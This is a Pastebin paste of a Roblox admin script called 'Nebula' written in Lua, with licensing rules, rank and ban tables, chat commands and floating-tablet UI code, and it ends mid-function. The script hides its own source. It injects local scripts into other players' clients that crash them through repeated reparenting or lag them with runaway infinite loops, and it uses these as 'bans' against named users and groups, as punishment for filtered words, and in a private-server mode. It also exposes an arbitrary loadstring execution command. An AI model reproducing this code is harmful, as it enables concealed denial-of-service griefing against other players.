Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- This version should work
- --]]
- -- [[ Nebula created by . ]] --
- -- [[ Please do not re-disitrubte and/or distribute. ]] --
- --[[ Rules, notes and information (READ!):
- | * = Note
- Rules:
- - You will not edit the script in anyway unless prompted*
- - You will not distribute the script in any way*
- - You will read the new rules, notes, and information every update and/or release*
- - You have bought a license to this script*
- - You agree that licenses are used to identify you*
- Notes:
- - *1: You may not create additional prompts.
- - *2: Distributing counts as and/or is the same as re-distributing, sharing, putting the script on websites, and/or leaking.
- - *3: This rule only applies if something in the rules, notes, and/or information is changed.
- - *4: Fake licenses do not count. All licenses should be bought from pop147741.
- - *5: Licenses are used to identify if you have the right to use this script as stated in the information.
- Information:
- The script was created by 1337DevilAvenger.
- There are no current developers, this will only change every update/release.
- If you'd like to see the current list of developers, please visit the group.
- Denuba Techa: http://www.roblox.com/groups/group.aspx?gid=850132
- There are no other groups for Nebula.
- Nebula uses multiple verifacation proccesses to identify if you have the right to use this script.
- If you do not and you are caught, you will be added to the banlist the next update.
- If you leaked, distributed and/or distributed the script you will be also added to the banlist and your license will be removed.
- The owner rank is SHARED. Other people will be ranked 6 as well.
- Users are encouraged to post to the group wall all of the users they see using Nebula.
- Please note that this requires their full username.
- You can ban someone perminately in your script by going down to Banned adding it like the ExampleUser.
- You can group ban a group perminately in your script by going down to GroupBanned and adding it like 850132.
- Ban types: -3 = Lag ban
- -2 = Crash ban
- -1 = Kick ban (Regular ban)
- Please submit all glitches to pop147741.
- Please submit any suggestions to pop147741 as well.
- To run the script, create it like you would a normal script. Run it if not already.
- Same as above but do not put the script inside of it.
- Same as above but make it a localscript.
- To see the commands, type /cmds;
- Thank you for using Nebula!
- --]]
- --[[
- Idea List:
- KILL DENUBA >:o
- --]]
- -- Script Info --
- script.Name = "| Nebula | Created by pop147741 |"
- wait()
- script.Parent = Instance.new("Model")
- local Banned = {{"1337DevilAvenger", -1, "This is an example ban reason."}, {"Jaccob", -1, "Because he always was on here and deserves to be on here."}, {"k2monker",-3, "For Noob Ban and Kick"}, {"nivekel", -3, "Tried to steal Denuba and abuses"}}
- local GroupBanned = {{845653, -3, "Stole & leaked Nebula. Alo stole credit."}}
- -- Script Starts here, do not edit anything below --
- -- Script Hider --
- local hitler = nil
- local mediafire = "http://www.mediafire.com/"
- -- Un-sorted --
- local _ = {}
- _["Version"] = 0
- _["CommandTrigger1"] = ";"
- _["CommandTrigger2"] = "|"
- _["CommandBigginning"] = "/"
- -- Version Setup --
- function GetSource(obj)
- if obj:IsA("BaseScript") then
- for i, v in pairs(obj:GetChildren()) do
- if v.Name:lower():find('source', 1, true) then
- return v
- end
- end
- end
- return nil
- end
- if GetSource(script) ~= nil then
- _["Version"] = math.ceil((#GetSource(script).Value / 15000) - 0.5)
- end
- -- Script Hider #2 --
- for i, v in pairs(script:GetChildren()) do v:Destroy() end
- -- Variables --
- local NewLocal2 = nil
- local NewLocalConnection = nil
- local NewScript2 = nil
- local NewScriptConnection = nil
- local FilterOn = true
- local cframeType = "default"
- local PrivateOn = false
- local ScriptsEnabled = true
- local NDKey = "@Nebula(NilDisconnect)*Username*#"
- local OKey = "@Nebula()|*DC*|"
- _G.NEBULAORK = ""
- local pingPlayer = 0
- local timeElapsed = 0
- -- Tables --
- local ClientRanks = {}
- local PlayerSettings = {}
- local Ranks = {}
- local Tablets = {}
- local Commands = {}
- local LoopKill = {}
- local Sandbox = {}
- local AntiLocal = {}
- local AntiBan = {}
- local services = {"Debris", "Workspace", "Lighting"}
- local ult = game:GetService("Players"):GetChildren()
- local croc = {}
- local TimeBanned = {}
- -- Functions --
- -- New Script Related --
- function editScriptSource(scr, source)
- for i, v in pairs(scr:GetChildren()) do
- if v.Name:lower():find('source', 1, true) then
- v.Value = source
- end
- end
- end
- function ns(p, l, s)
- local cs = nil
- if l == true then cs = NewLocal2:Clone()
- else cs = NewScript2:Clone() end
- if cs == nil then return nil end
- cs.Parent = p
- editScriptSource(cs, s)
- return cs
- end
- -- Rank Related --
- function newRank(r, n, f)
- table.insert(Ranks, {Rank = r, Name = n, Filter = f})
- end
- function searchForRank(data)
- if type(data) == 'string' then
- for i, v in pairs(Ranks) do
- if v.Name == data then
- return v
- end
- end
- else
- for i, v in pairs(Ranks) do
- if v.Rank == data then
- return v
- end
- end
- end
- return nil
- end
- function setRank(player, rank)
- ClientRanks[player] = rank
- end
- function getRank(player)
- return ClientRanks[player.Name]
- end
- -- Settings Related --
- function setPlayerSettings(player)
- PlayerSettings[player.Name] = {
- BB = {
- On = false,
- Color = "Blue"
- }; -- Bubblechat
- Tablets = {
- FireSettings = {
- FX1 = {On = false, Color = Color3.new(0, 0, 0), Color2 = Color3.new(0, 0, 0), Heat = 9, Size = 5},
- FX2 = {On = false, Color = Color3.new(0, 0, 0), Color2 = Color3.new(1, 1, 1), Heat = 9, Size = 5},
- FX3 = {On = false, Color = Color3.new(1, 1, 1), Color2 = Color3.new(1, 1, 1), Heat = 9, Size = 5}
- };
- SparkleSettings = {
- FX1 = {On = false, Color = Color3.new(0, 1, 0)},
- FX2 = {On = false, Color = Color3.new(1, 0, 0)},
- FX3 = {On = false, Color = Color3.new(0, 0, 1)},
- };
- SmokeSettings = {
- FX1 = {On = false, Color = Color3.new(0, 0, 0), Opac = 0.5, RV = 1, Size = 1},
- FX2 = {On = false, Color = Color3.new(1, 1, 1), Opac = 0.5, RV = 1, Size = 1},
- FX3 = {On = false, Color = Color3.new(122 / 255, 122 / 255, 122 / 255), Opac = 0.5, RV = 1, Size = 1}
- };
- DismissTablet = nil
- }
- }
- end
- function getPlayerSettings(player)
- return PlayerSettings[player.Name]
- end
- -- Commands Related --
- function checkRank(player1, player2, action)
- if getRank(player1) > getRank(player2) or player1 == player2 then
- return true
- else
- if action ~= nil then
- newTablet(player1.Name .. " tried to preform the action/command: " .. action .. " on you.", "Really red", nil, player2)
- end
- return false
- end
- end
- function findPlayer(name, sender)
- local result = {}
- name = name:lower()
- if name == "me" then
- table.insert(result, sender)
- elseif name == "all" then
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- table.insert(result, v)
- end
- elseif name == "others" then
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- if v ~= sender then
- table.insert(result, v)
- end
- end
- else
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(name, 1, true) then
- table.insert(result, v)
- end
- end
- end
- return result
- end
- function getArgs(command)
- if _["CommandBigginning"] ~= "" then
- if command:sub(1, 1) ~= _["CommandBigginning"] then return nil end
- end
- local ct1 = command:find(_["CommandTrigger1"], 1, true)
- if not ct1 then return nil end
- local c = ""
- local p = {}
- local ct2 = command:find(_["CommandTrigger2"], 1, true)
- if _["CommandBigginning"] ~= "" then
- c = command:sub(2, ct1 - 1)
- else
- c = command:sub(1, ct1 - 1)
- end
- if not ct2 then
- table.insert(p, command:sub(ct1 + 1))
- else
- local pcount = -1
- for _ in string.gmatch(command, _["CommandTrigger2"]) do pcount = pcount + 1 end
- local lp = ct1
- local np = nil
- for i = 0, pcount do
- if not command:sub(lp + 1):find(_["CommandTrigger2"], 1, true) then break end
- np = command:sub(lp + 1):find(_["CommandTrigger2"], 1, true)
- np = np + lp
- table.insert(p, command:sub(lp + 1, np - 1))
- lp = np
- end
- table.insert(p, command:sub(np + 1))
- end
- return c, p
- end
- function cmds(command, sender, nilRank)
- local cmd, props = getArgs(command)
- local special = false
- local alternativeSender = sender
- if cmd == nil or props == nil or sender == nil then return end
- cmd = cmd:lower()
- local commandFound = false
- for i, v in pairs(Commands) do
- if cmd:lower() == v.shortCommand:lower() then
- commandFound = true
- if alternativeSender == "syncer" or alternativeSender == "nil" then
- -- syncer part 1: all players & nil support --
- sender = game:GetService("Players"):GetChildren()[math.random(#game:GetService("Players"):GetChildren())]
- end
- if v.RankRequired <= getRank(sender) then
- local result, err = nil
- if alternativeSender == "syncer" then
- special = true
- -- syncs command format for everyone in server --
- local oldRank = getRank(sender)
- setRank(sender.Name, 255)
- result, err = ypcall(function() v.Work(sender, props) end)
- setRank(sender.Name, oldRank)
- end
- if alternativeSender == "nil" then
- special = true
- -- does the command the nil player said --
- local oldRank = getRank(sender)
- setRank(sender.Name, nilRank)
- result, err = ypcall(function() v.Work(sender, props) end)
- setRank(sender.Name, oldRank)
- end
- if special == false then
- result, err = ypcall(function() v.Work(sender, props) end)
- end
- if result == false then
- for i2, v2 in pairs(game:GetService("Players"):GetPlayers()) do
- if getRank(v2) == 5 or getRank(v2) == 255 or getRank(v2) == 253 then
- newTablet(err, "Really red", nil, v2)
- end
- end
- newTablet("An error occured.", "Really red", nil, sender)
- end
- else
- newTablet("You do not have permission to this command.", "Really red", nil, sender)
- end
- end
- end
- if commandFound == false then
- newTablet("The command you requested doesn't exist.", "Really red", nil, sender)
- end
- end
- function newCommand(c, n, p, d, r, f)
- table.insert(Commands, {shortCommand = c, fullCommand = n, Properties = p, Description = d, RankRequired = r, Work = f})
- end
- -- Chat Related --
- function Bubblechat(message, player)
- if getPlayerSettings(player).BB.On == true then
- if player.Character ~= nil and player.Character:findFirstChild("Head") ~= nil then
- game:GetService("Chat"):Chat(player.Character.Head, message, getPlayerSettings(player).BB.Color)
- end
- end
- end
- function Filter(message, player)
- local rank = getRank(player)
- local rankdata = searchForRank(rank)
- if rankdata ~= nil and FilterOn == true then
- for i, v in pairs(rankdata.Filter) do
- if message:lower():find(v[1], 1, true) then
- if v[2] == 0 then
- player:Destroy()
- globalTablet(player.Name .. " was kicked for chatting kicked word: " .. v[1], "Really red", nil)
- elseif v[2] == 1 then
- while player.Character == nil do wait() end
- pcall(function() ns(player.Character, true, [[local player = game:GetService("Players").LocalPlayer
- player.Parent = nil
- player.Parent = game:GetService("Players") -- Crash]]).Disabled = false end)
- globalTablet(player.Name .. " was crashed for chatting filtered word: " .. v[1], "Really red", nil)
- elseif v[2] == 2 then
- while player.Character == nil do wait() end
- pcall(function() ns(player.Character, true, [[function lag() coroutine.wrap(function() repeat until false end)() game:GetService("RunService").Stepped:connect(lag)]]).Disabled = false end)
- globalTablet(player.Name .. " was lagged for chatting filtered word: " .. v[1], "Really red", nil)
- end
- end
- end
- end
- end
- -- Decryption Related --
- function convertAscii(str)
- asciiStr = ""
- for i=1, string.len(str) do
- asciiStr = asciiStr..string.byte(string.sub(str, i, i) )
- end
- return tonumber(asciiStr)
- end
- function convHex(dec)
- local b,k,out,i,d=16,"0123456789ABCDEF","",0
- while dec>0 do
- i=i+1
- dec,d=math.floor(dec/b),dec%b+1
- out=string.sub(k,d,d)..out
- end
- return tostring(out)
- end
- -- Tablet Related --
- function tabletanimation(_type, duration, tablet)
- local up = false
- local waitTime = wait(0.2) / duration
- if _type == "Dismiss" then
- if tablet.Transparency >= 1 then up = true end
- for i = tablet.Transparency, 1, 0.1 do
- if up == true then
- tablet.Transparency = tablet.Transparency - i
- else
- tablet.Transparency = tablet.Transparency + i
- end
- wait(waitTime)
- end
- elseif _type == "Hover" then
- if tablet.Transparency >= duration then up = true end
- for i = tablet.Transparency, duration, 0.1 do
- if up == true then
- tablet.Transparency = tablet.Transparency - i
- else
- tablet.Transparency = tablet.Transparency + i
- end
- wait(waitTime)
- end
- end
- end
- function newTabletModel(player)
- if getPlayerSettings(player).Tablets.Model ~= nil then
- getPlayerSettings(player).Tablets.Model:Destroy()
- getPlayerSettings(player).Tablets.Model = nil
- end
- getPlayerSettings(player).Tablets.Model = Instance.new("Model", game:GetService("Workspace"))
- getPlayerSettings(player).Tablets.Model.Name = "Nebula|" .. player.Name .. "|Tablet Model"
- end
- function getTabletModel(player)
- return getPlayerSettings(player).Tablets.Model
- end
- function newTablet(message, color, command, player, scriptCommand, static)
- -- Setup --
- if message == nil then message = 'Untitled' end
- if command == nil then command = 'DT' end
- if scriptCommand == nil then scriptCommand = "" end
- if getTabletModel(player) == nil then newTabletModel(player) end
- if getTabletModel(player).Parent == nil then newTabletModel(player) end
- if player == nil then return end
- if static == nil then static = false end
- local tabletSettings = getPlayerSettings(player).Tablets
- local tabletModel = getTabletModel(player)
- local selectionplayer = nil
- if color == nil then
- color = BrickColor.new("White")
- else
- color = BrickColor.new(color)
- end
- -- Instance --
- local tablet = Instance.new("Part")
- local billboard = Instance.new("BillboardGui", tablet)
- local nametag = Instance.new("TextLabel", billboard)
- local clickdetector = Instance.new("ClickDetector", tablet)
- local tabletowner = Instance.new("ObjectValue", tablet)
- local specialmesh = Instance.new("SpecialMesh", tablet)
- local boolvalue = Instance.new("BoolValue", tablet)
- -- Effects (Up to 3 settings) --
- local TFX1 = Instance.new("Fire", tablet)
- local TFX2 = Instance.new("Fire", tablet)
- local TFX3 = Instance.new("Fire", tablet)
- local TFX4 = Instance.new("Smoke", tablet)
- local TFX5 = Instance.new("Smoke", tablet)
- local TFX6 = Instance.new("Smoke", tablet)
- local TFX7 = Instance.new("Sparkles", tablet)
- local TFX8 = Instance.new("Sparkles", tablet)
- local TFX9 = Instance.new("Sparkles", tablet)
- -- Properties --
- -- Fire
- TFX1.Enabled = tabletSettings.FireSettings.FX1.On
- TFX2.Enabled = tabletSettings.FireSettings.FX2.On
- TFX3.Enabled = tabletSettings.FireSettings.FX3.On
- TFX1.Color = tabletSettings.FireSettings.FX1.Color
- TFX2.Color = tabletSettings.FireSettings.FX2.Color
- TFX3.Color = tabletSettings.FireSettings.FX3.Color
- TFX1.Heat = tabletSettings.FireSettings.FX1.Heat
- TFX2.Heat = tabletSettings.FireSettings.FX2.Heat
- TFX3.Heat = tabletSettings.FireSettings.FX3.Heat
- TFX1.SecondaryColor = tabletSettings.FireSettings.FX1.Color2
- TFX2.SecondaryColor = tabletSettings.FireSettings.FX2.Color2
- TFX3.SecondaryColor = tabletSettings.FireSettings.FX3.Color2
- TFX1.Size = tabletSettings.FireSettings.FX1.Size
- TFX2.Size = tabletSettings.FireSettings.FX2.Size
- TFX3.Size = tabletSettings.FireSettings.FX3.Size
- -- Smoke
- TFX4.Enabled = tabletSettings.SmokeSettings.FX1.On
- TFX5.Enabled = tabletSettings.SmokeSettings.FX2.On
- TFX6.Enabled = tabletSettings.SmokeSettings.FX3.On
- TFX4.Opacity = tabletSettings.SmokeSettings.FX1.Opac
- TFX5.Opacity = tabletSettings.SmokeSettings.FX2.Opac
- TFX6.Opacity = tabletSettings.SmokeSettings.FX3.Opac
- TFX4.RiseVelocity = tabletSettings.SmokeSettings.FX1.RV
- TFX5.RiseVelocity = tabletSettings.SmokeSettings.FX2.RV
- TFX6.RiseVelocity = tabletSettings.SmokeSettings.FX3.RV
- TFX4.Size = tabletSettings.SmokeSettings.FX1.Size
- TFX5.Size = tabletSettings.SmokeSettings.FX2.Size
- TFX6.Size = tabletSettings.SmokeSettings.FX3.Size
- -- Sparkles
- TFX7.Enabled = tabletSettings.SparkleSettings.FX1.On
- TFX8.Enabled = tabletSettings.SparkleSettings.FX2.On
- TFX9.Enabled = tabletSettings.SparkleSettings.FX3.On
- TFX7.SparkleColor = tabletSettings.SparkleSettings.FX1.Color
- TFX8.SparkleColor = tabletSettings.SparkleSettings.FX2.Color
- TFX9.SparkleColor = tabletSettings.SparkleSettings.FX3.Color
- -- Part
- tablet.BrickColor = color
- tablet.Reflectance = 0
- tablet.Transparency = 0.5
- tablet.Name = "Tablet|" .. player.Name .. "|" .. message
- tablet.Anchored = true
- tablet.CanCollide = false
- tablet.Locked = true
- tablet.FormFactor = "Custom"
- tablet.Shape = "Block"
- tablet.Size = Vector3.new(2, 2, 2)
- tablet.BackSurface = "Smooth"
- tablet.TopSurface = "Smooth"
- if player.Character == nil then tablet:Destroy() return end
- repeat wait() until player.Character:findFirstChild("Head") ~= nil
- tablet.CFrame = player.Character.Head.CFrame
- -- Billboard
- billboard.Name = "Nametag|" .. message
- billboard.Size = UDim2.new(100, 0, 1, 0)
- billboard.StudsOffset = Vector3.new(0, 2.5, 0)
- -- TextLabel
- nametag.BackgroundTransparency = 1
- nametag.Size = UDim2.new(1, 0, 1, 0)
- nametag.Font = "ArialBold"
- nametag.Text = message
- nametag.TextColor3 = color.Color
- nametag.TextScaled = true
- nametag.TextStrokeColor3 = Color3.new(0, 0, 0)
- nametag.TextStrokeTransparency = 0
- nametag.TextWrapped = true
- -- Mesh
- specialmesh.MeshId = "http://www.roblox.com/asset/?id=10917605"
- specialmesh.MeshType = "FileMesh"
- specialmesh.Scale = Vector3.new(0.05, 0.05, 0.05)
- specialmesh.TextureId = "http://www.roblox.com/asset/?id=109635221"
- specialmesh.VertexColor = Vector3.new(color.Color.r, color.Color.g, color.Color.b)
- -- ClickDetector
- clickdetector.MaxActivationDistance = 444333888000111444
- clickdetector.MouseHoverEnter:connect(function(player2)
- if player2 == player or getRank(player2) > getRank(player) and selectionplayer == nil then
- selectionplayer = player
- tabletanimation("Hover", 0.5, tablet)
- end
- end)
- clickdetector.MouseHoverLeave:connect(function(player2)
- if player2 == selectionplayer then
- tabletanimation("Hover", 0.75, tablet)
- selectionplayer = nil
- end
- end)
- clickdetector.MouseClick:connect(function(player2)
- if player2 == player or getRank(player2) > getRank(player) then
- pcall(function() loadstring(scriptCommand)() end)
- if command == "DT" then
- tabletanimation("Dismiss", 2, tablet)
- tablet:Destroy()
- else
- tabletanimation("Dismiss", 3, tablet)
- cmds(_["CommandBigginning"] .. command, player)
- end
- end
- end)
- -- ObjectValue --
- tabletowner.Name = "TabletOwner"
- tabletowner.Value = player
- -- BoolaenValue --
- boolvalue.Name = "Static"
- boolvalue.Value = static
- -- _\Init/_
- tablet.Parent = tabletModel
- table.insert(Tablets, tablet)
- return tablet
- end
- function FindAllTablets(player)
- local tabletsFound = {}
- for i, v in pairs(Tablets) do
- if v ~= nil and v.Parent ~= nil then
- if v:findFirstChild("TabletOwner") ~= nil and v:findFirstChild("TabletOwner").Value == player then
- table.insert(tabletsFound, v)
- end
- end
- end
- return tabletsFound
- end
- function globalTablet(message, color, command)
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- newTablet(message, color, command, v)
- end
- end
- function tabletCFrame(player)
- coroutine.wrap(function(pl)
- local calout = 2
- local tabletCountOld = 0
- local tablets = nil
- while game:GetService("Players"):findFirstChild(pl.Name) ~= nil do wait()
- tablets = FindAllTablets(pl)
- for rot = 0, 1440 do
- tablets = FindAllTablets(pl)
- for i, v in pairs(tablets) do
- if v:findFirstChild("Static") ~= nil and v:findFirstChild("Static").Value == true then
- table.remove(tablets, i)
- end
- end
- if #tablets == 0 then
- calout = 2
- tabletCountOld = 0
- end
- if #tablets > tabletCountOld then
- for i = 0, (#tablets - tabletCountOld) do
- for i2 = 0, 3 do
- calout = calout + 0.1
- end
- end
- elseif #tablets < tabletCountOld then
- for i = 0, (tabletCountOld - #tablets) do
- for i2 = 0, 3 do
- calout = calout - 0.1
- end
- end
- end
- if #tablets >= 2 and getPlayerSettings(pl).Tablets.DismissTablet == nil then
- getPlayerSettings(pl).Tablets.DismissTablet = newTablet("Dismiss", nil, "dismiss;", pl)
- elseif #tablets - 1 < 2 and getPlayerSettings(pl).Tablets.DismissTablet ~= nil then
- getPlayerSettings(pl).Tablets.DismissTablet:Destroy()
- getPlayerSettings(pl).Tablets.DismissTablet = nil
- end
- tabletCountOld = #tablets
- for i, v in pairs(tablets) do
- if pl.Character ~= nil and pl.Character:findFirstChild("Head") ~= nil then
- if cframeType == "catapillar" then
- v.CFrame = pl.Character.Head.CFrame * CFrame.Angles(0, math.rad(rot / 4 * i / (#tablets / 2)), 0) * CFrame.new(0, 0, calout)
- elseif cframeType == "default" then
- v.CFrame = pl.Character.Head.CFrame * CFrame.Angles(0, math.rad(rot / 4 * i / 2), 0) * CFrame.new(0, 0, calout)
- end
- end
- end
- wait()
- end
- end
- end)(player)
- end
- -- Ban Related --
- function doBan(player)
- local groupBan = false
- local group = 0
- local rank = getRank(player)
- for i, v in pairs(GroupBanned) do
- if player:GetRankInGroup(v[1]) > 0 then
- groupBan = true
- rank = v[2]
- group = v[1]
- break
- end
- end
- for i, v in pairs(TimeBanned) do
- if i == player.Name then
- if (v[1] + v[2]) - timeElapsed <= 0 then
- TimeBanned[i] = nil
- break
- else
- rank = v[3]
- break
- end
- end
- end
- if rank == -1 then
- while player.Character ~= nil do wait() end
- player:Destroy()
- if groupBan == false then
- globalTablet(player.Name .. " has been kicked due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
- else
- globalTablet(player.Name .. " has been kicked for existing in group: " .. tostring(group) .. ".", "Really red", nil)
- end
- elseif rank == -2 then
- while player.Character == nil do wait() end
- local ls = ns(player.Character, true, [[local plr = game:GetService("Players").LocalPlayer
- while wait() do
- plr.Parent = nil
- plr.Parent = game:GetService("Players")
- end]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- if groupBan == false then
- globalTablet(player.Name .. " has been crashed due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
- else
- globalTablet(player.Name .. " has been crashed for existing in group: " .. tostring(group) .. ".", "Really red", nil)
- end
- elseif rank == -3 then
- while player.Character == nil do wait() end
- local ls = ns(player.Character, true, [[function lag() repeat coroutine.wrap(function() repeat until false end)() until false end game:GetService("RunService").Stepped:connect(lag)]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- if groupBan == false then
- globalTablet(player.Name .. " has been lagged due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
- else
- globalTablet(player.Name .. " has been lagged for existing in group: " .. tostring(group) .. ".", "Really red", nil)
- end
- end
- end
- function doPri(player)
- if PrivateOn == true and getRank(player) < 1 then
- while player.Character == nil do wait() end
- local ls = ns(player.Character, true, [[game:GetService("Players").LocalPlayer.Parent = nil game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- globalTablet(player.Name .. " was crashed due to the private server.", "Really red", nil)
- end
- end
- -- Player Setup --
- function setup(player)
- -- Settings --
- setPlayerSettings(player)
- -- Default Ranks --
- if getRank(player) == nil then
- setRank(player.Name, player:GetRankInGroup(845653))
- end
- -- Private Check --
- doPri(player)
- -- Ban Check --
- doBan(player)
- -- Tablet Model --
- newTabletModel(player)
- -- Tablet CFrame --
- tabletCFrame(player)
- -- Chatted --
- player.Chatted:connect(function(msg)
- Filter(msg, player)
- Bubblechat(msg, player)
- cmds(msg, player)
- end)
- -- Running --
- newTablet("Nebula version " .. _["Version"] .. " is active and running.", "Lime green", nil, player)
- -- Nil Disconnect --
- repeat wait() until player.Character ~= nil
- local ls = ns(player.Character, true, [[-- Nil Disconnect --
- script.Parent = nil
- for i, v in pairs(script:GetChildren()) do v:Destroy() end
- game:GetService("Workspace").DescendantAdded:connect(function(obj)
- if obj.Name == "NND" and obj:IsA("StringValue") then
- if obj.Value == "]] .. NDKey .. [[" .. game:GetService("Players").LocalPlayer.Name then
- game:GetService("Players").LocalPlayer.Parent = nil
- game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")
- end
- end
- end)]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- end
- -- Rank Setup --
- newRank(-4, "Time Banned", {{"e", 0}})
- newRank(-3, "Lag Banned", {{"e", 0}})
- newRank(-2, "Crash Banned", {{"e", 0}})
- newRank(-1, "Banned", {{"e", 0}})
- newRank(0, "Guest", {{"ban", 1}, {"camball", 1}, {"/up", 1}, {"/down", 1}, {"nova", 2}, {"lag", 2}, {"crash", 1}, {"shutdown", 2}, {"qorb", 1}, {"eyeball", 2}, {"onelegend", 0}, {"iFlip", 2}, {"cba", 1}, {"deadfield", 0} })
- newRank(1, "Member", {{"ban", 0}, {"nova", 2}, {"lag", 2}, {"crash", 1}, {"shutdown", 2}, {"qorb", 1}, {"eyeball", 1}, {"OneLegend", 0}, {"iFlip", 1}, {"cba", 1}})
- newRank(2, "Moderator", {{"nova", 1}, {"lag", 1}, {"shutdown", 2}, {"eyeball", 1}})
- newRank(3, "Administrator", {{"nova", 0}, {"shutdown", 1}})
- newRank(4, "Scripter", {})
- newRank(5, "Developer", {})
- newRank(6, "Owner", {})
- newRank(253, "Lead Developer", {})
- newRank(254, "Asian Assistant", {})
- newRank(255, "Creator", {})
- -- Command Setup --
- newCommand("test", "Test", {"No properties"}, "Displays a test message", 0, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- newTablet("I am working!", "Lime green", nil, sndr)
- end)
- newCommand("cmds", "Commands", {"No properties"}, "Displays the commands", 0, function(...)
- local args = {...}
- local sndr = args[1]
- for i, v in pairs(Ranks) do
- if v.Rank >= 0 then
- newTablet("Rank " .. tostring(v.Rank), nil, "category" .. _["CommandTrigger1"] .. "rank" .. _["CommandTrigger2"] .. tostring(v.Rank), sndr)
- end
- end
- newTablet("All commands", nil, "category;all", sndr)
- end)
- newCommand("category", "Category", {"Category"}, "Displays all of the commands in that category", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if props[1]:lower() == "rank" then
- if searchForRank(tonumber(props[2])) ~= nil then
- cmds(_["CommandBigginning"] .. "dismiss" .. _["CommandTrigger1"], sndr)
- for i, v in pairs(Commands) do
- if v.RankRequired == tonumber(props[2]) then
- newTablet(v.shortCommand, nil, "help" .. _["CommandTrigger1"] .. tostring(v.shortCommand), sndr)
- end
- end
- else
- newTablet("That rank doesn't exist!", "Really red", nil, sndr)
- end
- elseif props[1]:lower() == "all" then
- cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
- for i, v in pairs(Commands) do
- newTablet(v.shortCommand, nil, "help" .. _["CommandTrigger1"] .. tostring(v.shortCommand), sndr)
- end
- end
- end)
- newCommand("help", "Help", {"No properties"}, "Displays information on the command specified", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
- local commandFound = false
- for i, v in pairs(Commands) do
- if v.shortCommand:lower() == props[1]:lower() then
- commandFound = true
- local pstr = ""
- for i, v in pairs(v.Properties) do
- if i ~= 1 then
- pstr = pstr .. ", " .. tostring(v)
- else
- pstr = pstr .. tostring(v)
- end
- end
- for i, v in pairs(v) do
- if type(v) == 'string' or type(v) == 'number' then
- newTablet(tostring(i) .. ": " .. tostring(v), nil, nil, sndr)
- end
- end
- newTablet("Properties: " .. pstr, nil, nil, sndr)
- newTablet("Do command!", nil, v.shortCommand .. _["CommandTrigger1"], sndr)
- end
- end
- if commandFound == false then
- newTablet("That command doesn't exist.", "Really red", nil, sndr)
- end
- end)
- newCommand("dismiss", "Dismiss", {"No properties"}, "Dismisses all of the tablets", 0, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- for i, v in pairs(FindAllTablets(sndr)) do
- coroutine.wrap(function(tablet)
- tabletanimation("Dismiss", 2, tablet)
- tablet:Destroy()
- end)(v)
- end
- end)
- newCommand("ping", "Ping", {"Message", "Number to display", "Color"}, "Ping... pong!", 0, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local toDisplay = 1
- if props[2] ~= nil then toDisplay = tonumber(props[2]) end
- for i = 1, toDisplay do
- newTablet(props[1], props[3], nil, sndr)
- end
- end)
- newCommand("destroy", "Destroy", {"No properties"}, "Deletes the admin", 6, function(...)
- script.Disabled = true
- end)
- newCommand("tfilter", "Toggle Filter", {"No properties"}, "Toggles the filter", 2, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- if FilterOn == false then
- FilterOn = true
- newTablet("The filter has been turned on.", "Lime green", nil, sndr)
- else
- FilterOn = false
- newTablet("The filter has been turned off.", "Really red", nil, sndr)
- end
- end)
- newCommand("filter", "Filter status", {"No properties"}, "Displays the filter's status", 0, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- if FilterOn == true then
- newTablet("The filter is on.", "Lime green", nil, sndr)
- else
- newTablet("The filter is off.", "Really red", nil, sndr)
- end
- end)
- newCommand("kick", "Kick", {"Player Name"}, "Kicks the player specified", 2, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'kick') then
- target[i]:Destroy()
- newTablet("Kicked " .. target[i].Name .. ".", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("execute", "Execute", {"Script"}, "Executes the script.", 253, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local result, err = ypcall(function() loadstring(props[1])() end)
- if err ~= nil then
- newTablet(err, "Really red", nil, sndr)
- end
- end)
- newCommand("crash", "Crash", {"Player Name"}, "Crashes the player specified", 3, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'crash') then
- repeat wait() until target[i]:findFirstChild("Backpack") ~= nil
- local ls = ns(target[i].Backpack, true, [[game:GetService("Players").LocalPlayer.Parent = nil
- game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")]])
- if ls ~= nil then
- ls.Disabled = true
- ls.Disabled = false
- newTablet("Crashed " .. target[i].Name, "Really red", nil, sndr)
- else
- newTablet("An unknown error occured.", "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("info", "Information", {"No properties"}, "Shows the script information", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- newTablet("The creator of Nebula is pop147741", "Bright orange", nil, sndr)
- if game:GetService("Players"):findFirstChild("pop147741") ~= nil then
- newTablet("The creator is in the server.", "Lime green", nil, sndr)
- else
- newTablet("The creator is not in the server.", "Really red", nil, sndr)
- end
- if sndr.Name == "pop147741" then
- newTablet("You are the creator!", "Lime green", nil, sndr)
- else
